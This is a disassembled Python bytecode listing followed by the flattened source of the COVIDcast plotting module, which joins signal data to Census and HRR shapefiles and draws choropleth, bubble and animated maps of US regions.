LOAD_CONST 500000.0 CALL_METHOD LOAD_FAST pr STORE_ATTR geometry LOAD_FAST cont LOAD_FAST alaska LOAD_FAST pr LOAD_FAST hawaii BUILD_TUPLE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_FAST i LOAD_GLOBAL CONTIGUOUS_FIPS COMPARE_OP in LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL list LOAD_FAST data LOAD_ATTR columns CALL_FUNCTION STORE_FAST input_cols LOAD_CONST <code object <listcomp> at 0x7fab703f7db0, file "f.py", line 486> LOAD_CONST '_join_state_geo_df.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST geo_info LOAD_ATTR STUSPS GET_ITER CALL_FUNCTION LOAD_FAST geo_info STORE_ATTR STUSPS LOAD_FAST data LOAD_ATTR merge LOAD_FAST geo_info LOAD_FAST join_type LOAD_FAST state_col LOAD_CONST 'STUSPS' LOAD_CONST True LOAD_CONST ('how', 'left_on', 'right_on', 'sort') CALL_FUNCTION STORE_FAST merged LOAD_FAST merged LOAD_ATTR STUSPS LOAD_METHOD combine_first LOAD_FAST merged LOAD_FAST state_col BINARY_SUBSCR CALL_METHOD LOAD_FAST merged LOAD_FAST state_col STORE_SUBSCR LOAD_FAST merged LOAD_ATTR rename LOAD_CONST 'STATEFP' LOAD_CONST 'state_fips' BUILD_MAP LOAD_CONST True LOAD_CONST ('columns', 'inplace') CALL_FUNCTION POP_TOP LOAD_GLOBAL gpd LOAD_METHOD GeoDataFrame LOAD_FAST merged LOAD_FAST input_cols LOAD_CONST 'state_fips' LOAD_CONST 'geometry' BUILD_LIST BINARY_ADD BINARY_SUBSCR CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_FAST i LOAD_METHOD lower CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL list LOAD_FAST data LOAD_ATTR columns CALL_FUNCTION STORE_FAST input_cols LOAD_FAST data LOAD_ATTR assign LOAD_CONST <code object <listcomp> at 0x7fab703f7810, file "f.py", line 516> LOAD_CONST '_join_county_geo_df.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_FAST county_col BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CONST ('state',) CALL_FUNCTION STORE_FAST data LOAD_FAST combine_megacounties POP_JUMP_IF_FALSE LOAD_GLOBAL _combine_megacounties LOAD_FAST data LOAD_FAST county_col LOAD_FAST geo_info CALL_FUNCTION STORE_FAST merged JUMP_FORWARD to 68 LOAD_GLOBAL _distribute_megacounties LOAD_FAST data LOAD_FAST county_col LOAD_FAST geo_info LOAD_FAST join_type CALL_FUNCTION STORE_FAST merged LOAD_FAST merged LOAD_ATTR GEOID LOAD_METHOD combine_first LOAD_FAST merged LOAD_FAST county_col BINARY_SUBSCR CALL_METHOD LOAD_FAST merged LOAD_FAST county_col STORE_SUBSCR LOAD_FAST merged LOAD_ATTR rename LOAD_CONST 'STATEFP' LOAD_CONST 'state_fips' BUILD_MAP LOAD_CONST True LOAD_CONST ('columns', 'inplace') CALL_FUNCTION POP_TOP LOAD_GLOBAL gpd LOAD_METHOD GeoDataFrame LOAD_FAST merged LOAD_FAST input_cols LOAD_CONST 'state_fips' LOAD_CONST 'geometry' BUILD_LIST BINARY_ADD BINARY_SUBSCR CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST i LOAD_FAST i LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST data LOAD_ATTR merge LOAD_FAST geo_info LOAD_CONST 'left' LOAD_FAST county_col LOAD_CONST 'GEOID' LOAD_CONST True LOAD_CONST ('how', 'left_on', 'right_on', 'sort') CALL_FUNCTION STORE_FAST merged LOAD_GLOBAL set LOAD_FAST geo_info LOAD_ATTR GEOID CALL_FUNCTION LOAD_GLOBAL set LOAD_FAST data LOAD_FAST county_col BINARY_SUBSCR CALL_FUNCTION BINARY_SUBTRACT STORE_FAST missing SETUP_LOOP to 174 LOAD_FAST merged LOAD_METHOD iterrows CALL_METHOD GET_ITER FOR_ITER to 172 UNPACK_SEQUENCE STORE_FAST i STORE_FAST row LOAD_GLOBAL _is_megacounty LOAD_FAST row LOAD_FAST county_col BINARY_SUBSCR CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST row LOAD_FAST county_col BINARY_SUBSCR LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR STORE_DEREF state LOAD_CLOSURE state BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab703f7b70, file "f.py", line 549> LOAD_CONST '_combine_megacounties.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST missing GET_ITER CALL_FUNCTION STORE_FAST state_missing LOAD_FAST geo_info LOAD_ATTR loc LOAD_FAST geo_info LOAD_ATTR GEOID LOAD_METHOD isin LOAD_FAST state_missing CALL_METHOD LOAD_CONST 'geometry' BUILD_TUPLE BINARY_SUBSCR LOAD_ATTR unary_union STORE_FAST combined_poly LOAD_GLOBAL gpd LOAD_METHOD GeoSeries LOAD_FAST combined_poly CALL_METHOD LOAD_ATTR values LOAD_FAST merged LOAD_ATTR loc LOAD_FAST i BUILD_LIST LOAD_CONST 'geometry' BUILD_TUPLE STORE_SUBSCR LOAD_DEREF state LOAD_FAST merged LOAD_ATTR loc LOAD_FAST i BUILD_LIST LOAD_CONST 'STATEFP' BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST merged RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 24 STORE_FAST j LOAD_FAST j LOAD_METHOD startswith LOAD_DEREF state CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST j LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST data LOAD_ATTR merge LOAD_FAST geo_info LOAD_FAST join_type LOAD_FAST county_col LOAD_CONST 'GEOID' LOAD_CONST True LOAD_CONST ('how', 'left_on', 'right_on', 'sort') CALL_FUNCTION STORE_FAST merged LOAD_FAST data LOAD_ATTR loc LOAD_CONST <code object <listcomp> at 0x7fab703f7930, file "f.py", line 580> LOAD_CONST '_distribute_megacounties.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_FAST county_col BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST mega_df LOAD_FAST mega_df LOAD_ATTR empty POP_JUMP_IF_TRUE LOAD_FAST join_type LOAD_CONST 'right' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST merged LOAD_ATTR merge LOAD_FAST mega_df LOAD_CONST 'left' LOAD_CONST 'STATEFP' LOAD_CONST 'state' LOAD_CONST True LOAD_CONST ('how', 'left_on', 'right_on', 'sort') CALL_FUNCTION STORE_FAST merged SETUP_LOOP to 136 LOAD_FAST data LOAD_ATTR columns GET_ITER FOR_ITER to 134 STORE_FAST c LOAD_FAST merged LOAD_FAST c FORMAT_VALUE LOAD_CONST '_x' BUILD_STRING BINARY_SUBSCR LOAD_METHOD combine_first LOAD_FAST merged LOAD_FAST c FORMAT_VALUE LOAD_CONST '_y' BUILD_STRING BINARY_SUBSCR CALL_METHOD LOAD_FAST merged LOAD_FAST c STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST merged RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_GLOBAL _is_megacounty LOAD_FAST i CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST geo_info LOAD_FAST geo_info LOAD_ATTR LSAD LOAD_CONST 'M1' COMPARE_OP == BINARY_SUBSCR STORE_FAST geo_info LOAD_GLOBAL list LOAD_FAST data LOAD_ATTR columns CALL_FUNCTION STORE_FAST input_cols LOAD_FAST data LOAD_ATTR merge LOAD_FAST geo_info LOAD_FAST join_type LOAD_FAST msa_col LOAD_CONST 'GEOID' LOAD_CONST True LOAD_CONST ('how', 'left_on', 'right_on', 'sort') CALL_FUNCTION STORE_FAST merged LOAD_FAST merged LOAD_ATTR GEOID LOAD_METHOD combine_first LOAD_FAST merged LOAD_FAST msa_col BINARY_SUBSCR CALL_METHOD LOAD_FAST merged LOAD_FAST msa_col STORE_SUBSCR LOAD_CONST <code object <listcomp> at 0x7fab703f7540, file "f.py", line 616> LOAD_CONST '_join_msa_geo_df.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST merged LOAD_ATTR NAME GET_ITER CALL_FUNCTION LOAD_FAST merged LOAD_CONST 'state_fips' STORE_SUBSCR LOAD_GLOBAL gpd LOAD_METHOD GeoDataFrame LOAD_FAST merged LOAD_FAST input_cols LOAD_CONST 'state_fips' LOAD_CONST 'geometry' BUILD_LIST BINARY_ADD BINARY_SUBSCR CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 38 STORE_FAST i LOAD_GLOBAL STATE_ABBR_TO_FIPS LOAD_METHOD get LOAD_FAST i LOAD_METHOD split LOAD_CONST ',' CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 3 BUILD_SLICE BINARY_SUBSCR CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST geo_info LOAD_ATTR hrr_num LOAD_METHOD astype LOAD_CONST 'int' CALL_METHOD LOAD_METHOD astype LOAD_GLOBAL str CALL_METHOD LOAD_FAST geo_info LOAD_CONST 'hrr_num' STORE_SUBSCR LOAD_GLOBAL list LOAD_FAST data LOAD_ATTR columns CALL_FUNCTION STORE_FAST input_cols LOAD_FAST data LOAD_ATTR merge LOAD_FAST geo_info LOAD_FAST join_type LOAD_FAST msa_col LOAD_CONST 'hrr_num' LOAD_CONST True LOAD_CONST ('how', 'left_on', 'right_on', 'sort') CALL_FUNCTION STORE_FAST merged LOAD_FAST merged LOAD_ATTR hrr_num LOAD_METHOD combine_first LOAD_FAST merged LOAD_FAST msa_col BINARY_SUBSCR CALL_METHOD LOAD_FAST merged LOAD_FAST msa_col STORE_SUBSCR LOAD_CONST <code object <listcomp> at 0x7fab703f7030, file "f.py", line 644> LOAD_CONST '_join_hrr_geo_df.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST merged LOAD_ATTR hrr_name GET_ITER CALL_FUNCTION LOAD_FAST merged LOAD_CONST 'state_fips' STORE_SUBSCR LOAD_GLOBAL gpd LOAD_METHOD GeoDataFrame LOAD_FAST merged LOAD_FAST input_cols LOAD_CONST 'state_fips' LOAD_CONST 'geometry' BUILD_LIST BINARY_ADD BINARY_SUBSCR CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST i LOAD_GLOBAL STATE_ABBR_TO_FIPS LOAD_METHOD get LOAD_FAST i LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST fips LOAD_METHOD endswith LOAD_CONST '000' CALL_METHOD JUMP_IF_FALSE_OR_POP LOAD_GLOBAL len LOAD_FAST fips CALL_FUNCTION LOAD_CONST 5 COMPARE_OP == RETURN_VALUE
"""This contains the plotting and geo data management methods for the COVIDcast signals.""" import io import warnings from datetime import date, timedelta from typing import Tuple, Any import geopandas as gpd import imageio import numpy as np import pandas as pd import pkg_resources from matplotlib import pyplot as plt from matplotlib import figure, axes from tqdm import tqdm from .covidcast import _detect_metadata, _signal_metadata SHAPEFILE_PATHS = { "county": "shapefiles/county/cb_2019_us_county_5m.shp", "state": "shapefiles/state/cb_2019_us_state_5m.shp", "msa": "shapefiles/msa/cb_2019_us_cbsa_5m.shp", "hrr": "shapefiles/hrr/geo_export_ad86cff5-e5ed-432e-9ec2-2ce8732099ee.shp", } STATE_ABBR_TO_FIPS = { "AL": "01", "MN": "27", "ME": "23", "WA": "53", "LA": "22", "PA": "42", "MD": "24", "CO": "08", "TN": "47", "MI": "26", "FL": "12", "VA": "51", "IN": "18", "AS": "60", "HI": "15", "AZ": "04", "MO": "29", "SC": "45", "DC": "11", "NM": "35", "MA": "25", "OR": "41", "MS": "28", "WI": "55", "PR": "72", "NH": "33", "NV": "32", "GA": "13", "KY": "21", "NE": "31", "WY": "56", "AK": "02", "OK": "40", "GU": "66", "DE": "10", "IA": "19", "CA": "06", "VI": "78", "OH": "39", "NY": "36", "CT": "09", "AR": "05", "VT": "50", "MP": "69", "MT": "30", "RI": "44", "WV": "54", "IL": "17", "TX": "48", "UT": "49", "ND": "38", "KS": "20", "SD": "46", "NC": "37", "NJ": "34", "ID": "16", } CONTIGUOUS_FIPS = { "01", "04", "05", "06", "08", "09", "10", "11", "12", "13", "16", "17", "18", "19", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "40", "41", "42", "44", "45", "46", "47", "48", "49", "50", "51", "53", "54", "55", "56", } def plot( data: pd.DataFrame, time_value: date = None, plot_type: str = "choropleth", combine_megacounties: bool = True, **kwargs: Any, ) -> figure.Figure: """Given the output data frame of :py:func:`covidcast.signal`, plot a choropleth or bubble map. Projections used for plotting: - ESRI:102003 (USA Contiguous Albers Equal Area Conic) for the contiguous US and Puerto Rico - ESRI:102006 (Alaska Albers Equal Area Conic) for Alaska - ESRI:102007 (Hawaii Albers Equal Area Conic) for Hawaii (Hawaii Albers Equal Area Conic) for Hawaii For visual purposes, Alaska and Hawaii are moved the lower left corner of the contiguous US and Puerto Rico is moved closer to Florida. By default, choropleths use the `colormap <https://matplotlib.org/tutorials/colors/colormaps.html>`_ ``YlOrRd``, with colors scaled between 0 and the signal's historical mean value + 3 standard deviations. Custom arguments can be passed in as ``kwargs`` for customizability. These arguments will be passed to the GeoPandas ``plot`` method; more information on these arguments can be found in `the GeoPandas documentation <https://geopandas.org/reference.html#geopandas.GeoDataFrame.plot>`_. Bubble maps use a purple bubble by default, with all values discretized into 8 bins between 0.1 and the signal's historical mean value + 3 standard deviations. Values below 0 have no bubble but have the region displayed in white, and values above the mean + 3 std dev are binned into the highest bubble. Bubbles are scaled by area. :param data: Data frame of signal values, as returned from :py:func:`covidcast.signal`. :param time_value: If multiple days of data are present in ``data``, map only values from this day. Defaults to plotting the most recent day of data in ``data``. :param combine_megacounties: For each state, display all counties without a signal value as a single polygon with the megacounty value, as opposed to plotting all the county boundaries. Defaults to `True`. :param kwargs: Optional keyword arguments passed to ``GeoDataFrame.plot()``. :param plot_type: Type of plot to create. Either choropleth (default) or bubble map. :return: Matplotlib figure object. """ if plot_type not in {"choropleth", "bubble"}: raise ValueError("`plot_type` must be 'choropleth' or 'bubble'.") data_source, signal, geo_type = _detect_metadata(data) # pylint: disable=W0212 meta = _signal_metadata(data_source, signal, geo_type) # pylint: disable=W0212 day_to_plot = time_value if time_value else max(data.time_value) day_data = data.loc[data.time_value == pd.to_datetime(day_to_plot), :] kwargs["vmax"] = kwargs.get("vmax", meta["mean_value"] + 3 * meta["stdev_value"]) kwargs["figsize"] = kwargs.get("figsize", (12.8, 9.6)) fig, ax = _plot_background_states(kwargs["figsize"]) ax.set_title(f"{data_source}: {signal}, {day_to_plot.strftime('%Y-%m-%d')}") if plot_type == "choropleth": _plot_choro(ax, day_data, combine_megacounties, **kwargs) else: _plot_bubble(ax, day_data, geo_type, **kwargs) return fig def plot_choropleth( data: pd.DataFrame, time_value: date = None, combine_megacounties: bool = True, **kwargs: Any, ) -> figure.Figure: """Plot choropleths for a signal. This method is deprecated and has been generalized to plot(). :param data: Data frame of signal values, as returned from :py:func:`covidcast.signal`. :param time_value: If multiple days of data are present in ``data``, map only values from this day. Defaults to plotting the most recent day of data in ``data``. :param kwargs: Optional keyword arguments passed to ``GeoDataFrame.plot()``. :return: Matplotlib figure object. """ warnings.warn("Function `plot_choropleth` is deprecated. Use `plot()` instead.") return plot(data, time_value, "choropleth", combine_megacounties, **kwargs) def get_geo_df( data: pd.DataFrame, geo_value_col: str = "geo_value", geo_type_col: str = "geo_type", join_type: str = "right", combine_megacounties: bool = False, ) -> gpd.GeoDataFrame: """Augment a :py:func:`covidcast.signal` data frame with the shape of each geography. This method takes in a pandas DataFrame object and returns a GeoDataFrame object from the `GeoPandas package <https://geopandas.org/>`_. The GeoDataFrame will contain the geographic shape corresponding to every row in its ``geometry`` column; for example, a data frame of county-level signal observations will be returned with the shape of every county. After detecting the geography type (state, county, HRR, and MSA are currently supported) of the input, this function builds a GeoDataFrame that contains state and geometry information from the Census or CMS for that geography type. By default, it will take the signal data (left side) and geo data (right side) and right join them, so all states/counties will always be present regardless of whether ``data`` contains values for those locations. ``left``, ``outer``, and ``inner`` joins are also supported and can be selected with the ``join_type`` argument. If ``combine_megacounties=False`` (default) all counties without a signal value will be given the value of the megacounty if present. If ``combine_megacounties=True``, a left join will be conducted and the megacounty rows will be given a polygon of the union of all constituent counties without a value. Other joins will not use megacounties. See the `geographic coding documentation <https://cmu-delphi.github.io/delphi-epidata/api/covidcast_geography.html>`_ for information about megacounties. By default, this function identifies the geography for each row of the input data frame using its ``geo_value`` column, matching data frames returned by :py:func:`covidcast.signal`, but the ``geo_value_col`` and ``geo_type_col`` arguments can be provided to match geographies for data frames with different column names. Geographic data is sourced from 1:5,000,000-scale shapefiles from the `2019 US Census Cartographic Boundary Files <https://www.census.gov/geographies/mapping-files/time-series/geo/cartographic-boundary.html>`_ and the `CMS Data Website <https://data.cms.gov/widgets/ia25-mrsk>`_. :param data: DataFrame of values and geographies. :param geo_value_col: Name of column containing values of interest. :param geo_type_col: Name of column containing geography type. :param join_type: Type of join to do between input data (left side) and geo data (right side). Must be one of `right` (default), `left`, `outer`, or `inner`. :param combine_megacounties: For each state, return all counties without a signal value as a single row and polygon with the megacounty value. Defaults to `False`. :return: GeoDataFrame containing all columns from the input ``data``, along with a ``geometry`` column (containing a polygon) and a ``state_fips`` column (a two-digit FIPS code identifying the US state containing this geography). For MSAs that span multiple states, the first state in the MSA name is provided. The geometry is given in the GCS NAD83 coordinate system for states, counties, and MSAs, and WGS84 for HRRs. """ if join_type == "right" and any(data[geo_value_col].duplicated()): raise ValueError( "join_type `right` is incompatible with duplicate values in a " "given region. Use `left` or ensure your input data is a single signal for" " a single date and geography type. " ) geo_type = _detect_metadata(data, geo_type_col)[2] # pylint: disable=W0212 if geo_type not in ["state", "county", "msa", "hrr"]: raise ValueError( "Unsupported geography type; " "only `state`, `county`, `hrr`, and `msa` supported." ) shapefile_path = pkg_resources.resource_filename( __name__, SHAPEFILE_PATHS[geo_type] ) geo_info = gpd.read_file(shapefile_path) if geo_type == "state": output = _join_state_geo_df(data, geo_value_col, geo_info, join_type) elif geo_type == "msa": output = _join_msa_geo_df(data, geo_value_col, geo_info, join_type) elif geo_type == "hrr": geo_info["geometry"] = geo_info["geometry"].translate( 0, -0.185 ) # fix projection shift bug output = _join_hrr_geo_df(data, geo_value_col, geo_info, join_type) else: # geo_type must be "county" output = _join_county_geo_df( data, geo_value_col, geo_info, join_type, combine_megacounties ) return output def animate( data: pd.DataFrame, filepath: str, fps: int = 3, dpi: int = 150, **kwargs: Any ) -> None: """Generate an animated video file of a signal over time. Given a signal DataFrame, generates the choropleth for each day to form an animation of the signal. Accepts arguments for video parameters as well as optional plotting arguments. Supported output formats are listed in the `imageio ffmpeg documentation <https://imageio.readthedocs.io/en/stable/format_ffmpeg.html>`_. :param data: DataFrame for a single signal over time. :param filepath: Path where video will be saved. Filename must contain supported extension. :param fps: Frame rate in frames per second for animation. Defaults to 3. :param dpi: Dots per inch for output video. Defaults to 150 on a 12.8x9.6 figure (1920x1440). :param kwargs: Optional keyword arguments passed to :py:func:`covidcast.plot`. :return: None """ writer = imageio.get_writer(filepath, fps=fps, input_params=["-probesize", "75M"]) num_days = (max(data.time_value) - min(data.time_value)).days day_list = [min(data.time_value) + timedelta(days=x) for x in range(num_days + 1)] for d in tqdm(day_list): buf = io.BytesIO() plot(data, time_value=d, **kwargs) plt.savefig(buf, dpi=dpi) plt.close() buf.seek(0) writer.append_data(imageio.imread(buf)) writer.close() def _plot_choro( ax: axes.Axes, data: gpd.GeoDataFrame, combine_megacounties: bool, **kwargs: Any ) -> None: """Generate a choropleth map on a given Figure/Axes from a GeoDataFrame. :param ax: Matplotlib axes to plot on. :param data: GeoDataFrame with information to plot. :param kwargs: Optional keyword arguments passed to ``GeoDataFrame.plot()``. :return: Matplotlib axes with the plot added. """ kwargs["vmin"] = kwargs.get("vmin", 0) kwargs["cmap"] = kwargs.get("cmap", "YlOrRd") data_w_geo = get_geo_df(data, combine_megacounties=combine_megacounties) for shape in _project_and_transform(data_w_geo): if not shape.empty: shape.plot(column="value", ax=ax, **kwargs) sm = plt.cm.ScalarMappable( cmap=kwargs["cmap"], norm=plt.Normalize(vmin=kwargs["vmin"], vmax=kwargs["vmax"]), ) sm._A = [] # pylint: disable=W0212 plt.colorbar( sm, ticks=np.linspace(kwargs["vmin"], kwargs["vmax"], 8), ax=ax, orientation="horizontal", fraction=0.045, pad=0.04, format="%.2f", ) def _plot_bubble( ax: axes.Axes, data: gpd.GeoDataFrame, geo_type: str, **kwargs: Any ) -> None: """Generate a bubble map on a given Figure/Axes from a GeoDataFrame. The maximum bubble size is set to the figure area / 1.5, with a x3 multiplier if the geo_type is ``state``. :param ax: Matplotlib axes to plot on. :param data: GeoDataFrame with information to plot. :param kwargs: Optional keyword arguments passed to ``GeoDataFrame.plot()``. :return: Matplotlib axes with the plot added. """ kwargs["vmin"] = kwargs.get("vmin", 0.1) kwargs["color"] = kwargs.get("color", "purple") kwargs["alpha"] = kwargs.get("alpha", 0.5) data_w_geo = get_geo_df(data, join_type="inner") label_bins = np.linspace(kwargs["vmin"], kwargs["vmax"], 8) # set bin labels value_bins = list(label_bins) + [ np.inf ] # set ranges for bins by adding +inf for largest bin state_multiple = 3 if geo_type == "state" else 1 bubble_scale = np.prod(kwargs["figsize"]) / 1.5 / kwargs["vmax"] * state_multiple data_w_geo["binval"] = pd.cut( data_w_geo.value, labels=label_bins, bins=value_bins, right=False ) data_w_geo["binval"] = data_w_geo.binval.astype(float) * bubble_scale for shape in _project_and_transform(data_w_geo): if not shape.empty and not shape.binval.isnull().values.all(): shape.plot(color="1", ax=ax, legend=True, edgecolor="0.8", linewidth=0.5) shape["geometry"] = shape[ "geometry" ].centroid # plot bubbles at each polgyon centroid shape.plot( markersize="binval", color=kwargs["color"], ax=ax, alpha=kwargs["alpha"] ) for b in label_bins: ax.scatter( [1e10], [1e10], color=kwargs["color"], alpha=kwargs["alpha"], s=b * bubble_scale, label=round(b, 2), ) ax.legend(frameon=False, ncol=8, loc="lower center", bbox_to_anchor=(0.5, -0.1)) def _plot_background_states(figsize: tuple) -> tuple: """Plot US states in light grey as the background for other plots. :param figsize: Dimensions of plot. :return: Matplotlib figure and axes. """ fig, ax = plt.subplots(1, figsize=figsize) ax.axis("off") state_shapefile_path = pkg_resources.resource_filename( __name__, SHAPEFILE_PATHS["state"] ) state = gpd.read_file(state_shapefile_path) for state in _project_and_transform(state, "STATEFP"): state.plot(color="0.9", ax=ax, edgecolor="0.8", linewidth=0.5) ax.set_xlim(plt.xlim()) ax.set_ylim(plt.ylim()) return fig, ax def _project_and_transform( data: gpd.GeoDataFrame, state_col: str = "state_fips" ) -> Tuple: """Segment and break GeoDF into Contiguous US, Alaska, Puerto Rico, and Hawaii for plotting. Given GeoDF with state fips column, break into Contiguous US, Alaska, Puerto Rico, and Hawaii GeoDFs with their own Albers Equal Area Conic Projections. Also scales and translates so Alaska and Hawaii are in the bottom left corner and Puerto Rico is closer to Hawaii. :param data: GeoDF with shape info and a column designating the state. :param state_col: Name of column with state FIPS codes. :return: Tuple of four GeoDFs: Contiguous US, Alaska, Hawaii, and Puerto Rico. """ cont = data.loc[[i in CONTIGUOUS_FIPS for i in data[state_col]], :].to_crs( "ESRI:102003" ) alaska = data.loc[data[state_col] == "02", :].to_crs("ESRI:102006") pr = data.loc[data[state_col] == "72", :].to_crs("ESRI:102003") hawaii = data.loc[data[state_col] == "15", :].to_crs("ESRI:102007") alaska.geometry = alaska.geometry.scale(0.35, 0.35, origin=(0, 0)).translate( -1.8e6, -1.6e6 ) hawaii.geometry = hawaii.geometry.translate(-1e6, -2e6) pr.geometry = pr.geometry.translate(-1.2e6, 0.5e6) return cont, alaska, pr, hawaii def _join_state_geo_df( data: pd.DataFrame, state_col: str, geo_info: gpd.GeoDataFrame, join_type: str = "right", ) -> gpd.GeoDataFrame: """Join DF information to polygon information in a GeoDF at the state level. :param data: DF with state info :param state_col: name of column in `data` containing state info to join on :param geo_info: GeoDF of state shape info read from Census shapefiles :param join_type: Type of join to do between input data (left side) and geo data (right side). Must be one of {‘left’, ‘right’, ‘outer’, ‘inner’}. :return: ``data`` with state polygon and state FIPS joined. """ input_cols = list(data.columns) geo_info.STUSPS = [i.lower() for i in geo_info.STUSPS] # lowercase for consistency merged = data.merge( geo_info, how=join_type, left_on=state_col, right_on="STUSPS", sort=True ) merged[state_col] = merged.STUSPS.combine_first(merged[state_col]) merged.rename(columns={"STATEFP": "state_fips"}, inplace=True) return gpd.GeoDataFrame(merged[input_cols + ["state_fips", "geometry"]]) def _join_county_geo_df( data: pd.DataFrame, county_col: str, geo_info: gpd.GeoDataFrame, join_type: str = "right", combine_megacounties: bool = False, ) -> gpd.GeoDataFrame: """Join DF information to polygon information in a GeoDF at the county level. Counties with no direct key in the data DF will have the megacounty value joined. :param data: DF with county info. :param county_col: name of column in `data` containing county info to join on. :param geo_info: GeoDF of county shape info read from Census shapefiles. :param join_type: Type of join to do between input data (left side) and geo data (right side). Must be one of {‘left’, ‘right’, ‘outer’, ‘inner’}. :param combine_megacounties: For each state, return all counties without a signal value as a single polygon with the megacounty value. :return: ``data`` with county polygon and state fips joined. """ input_cols = list(data.columns) data = data.assign(state=[i[:2] for i in data[county_col]]) if combine_megacounties: merged = _combine_megacounties(data, county_col, geo_info) else: merged = _distribute_megacounties(data, county_col, geo_info, join_type) merged[county_col] = merged.GEOID.combine_first(merged[county_col]) merged.rename(columns={"STATEFP": "state_fips"}, inplace=True) return gpd.GeoDataFrame(merged[input_cols + ["state_fips", "geometry"]]) def _combine_megacounties( data: pd.DataFrame, county_col: str, geo_info: gpd.GeoDataFrame ) -> gpd.GeoDataFrame: """Join a DataFrame of county signals with a GeoDataFrame of polygons for plotting. Merges a DataFrame of counties and signals with a DataFrame of county polygons. Megacounties, if present, are assigned a polygon which is the union of all counties in the state with no signal value. :param data: DataFrame of county signals. :param county_col: Name of column containing county. :parm geo_info: GeoDataFrame of counties and corresponding polygons. :return: ``data`` with county polygon and state fips joined. No polgyon information is provided for counties without a signal value since they are captured by the megacounty polygon. """ merged = data.merge( geo_info, how="left", left_on=county_col, right_on="GEOID", sort=True ) missing = set(geo_info.GEOID) - set(data[county_col]) for i, row in merged.iterrows(): if _is_megacounty(row[county_col]): state = row[county_col][:2] state_missing = [j for j in missing if j.startswith(state)] combined_poly = geo_info.loc[ geo_info.GEOID.isin(state_missing), "geometry" ].unary_union merged.loc[[i], "geometry"] = gpd.GeoSeries(combined_poly).values merged.loc[[i], "STATEFP"] = state return merged def _distribute_megacounties( data: pd.DataFrame, county_col: str, geo_info: gpd.GeoDataFrame, join_type: str = "right", ) -> gpd.GeoDataFrame: """Join a DataFrame of county signals with a GeoDataFrame of polygons for plotting. Merges a DataFrame of counties and signals with a DataFrame of county polygons. Counties without a value but with a corresponding megacounty take on the megacounty value. :param data: DataFrame of county signals. :param county_col: Name of column containing county. :param geo_info: GeoDataFrame of counties and corresponding polygons. :param join_type: Type of join to do between input data (left side) and geo data (right side). Must be one of {‘left’, ‘right’, ‘outer’, ‘inner’}. :return: ``data`` with county polygon and state fips joined. No polgyon information is provided for megacounties. """ merged = data.merge( geo_info, how=join_type, left_on=county_col, right_on="GEOID", sort=True ) mega_df = data.loc[[_is_megacounty(i) for i in data[county_col]], :] if not mega_df.empty and join_type == "right": merged = merged.merge( mega_df, how="left", left_on="STATEFP", right_on="state", sort=True ) for c in data.columns: merged[c] = merged[f"{c}_x"].combine_first(merged[f"{c}_y"]) return merged def _join_msa_geo_df( data: pd.DataFrame, msa_col: str, geo_info: gpd.GeoDataFrame, join_type: str = "right", ) -> gpd.GeoDataFrame: """Join DF information to polygon information in a GeoDF at the MSA level. For MSAs which span multiple states, the first state in the name is returned for the state FIPS. :param data: DF with state info :param msa_col: cname of column in `data` containing state info to join on :param geo_info: GeoDF of state shape info read from Census shapefiles :param join_type: Type of join to do between input data (left side) and geo data (right side). Must be one of {‘left’, ‘right’, ‘outer’, ‘inner’}. :return: ``data`` with cbsa polygon and state fips joined. """ geo_info = geo_info[ geo_info.LSAD == "M1" ] # only get metro and not micropolitan areas input_cols = list(data.columns) merged = data.merge( geo_info, how=join_type, left_on=msa_col, right_on="GEOID", sort=True ) merged[msa_col] = merged.GEOID.combine_first(merged[msa_col]) merged["state_fips"] = [ STATE_ABBR_TO_FIPS.get(i.split(",")[1][1:3]) for i in merged.NAME ] return gpd.GeoDataFrame(merged[input_cols + ["state_fips", "geometry"]]) def _join_hrr_geo_df( data: pd.DataFrame, msa_col: str, geo_info: gpd.GeoDataFrame, join_type: str = "right", ) -> gpd.GeoDataFrame: """Join DF information to polygon information in a GeoDF at the HRR level. :param data: DF with state info :param msa_col: cname of column in `data` containing state info to join on :param geo_info: GeoDF of state shape info read from Census shapefiles :param join_type: Type of join to do between input data 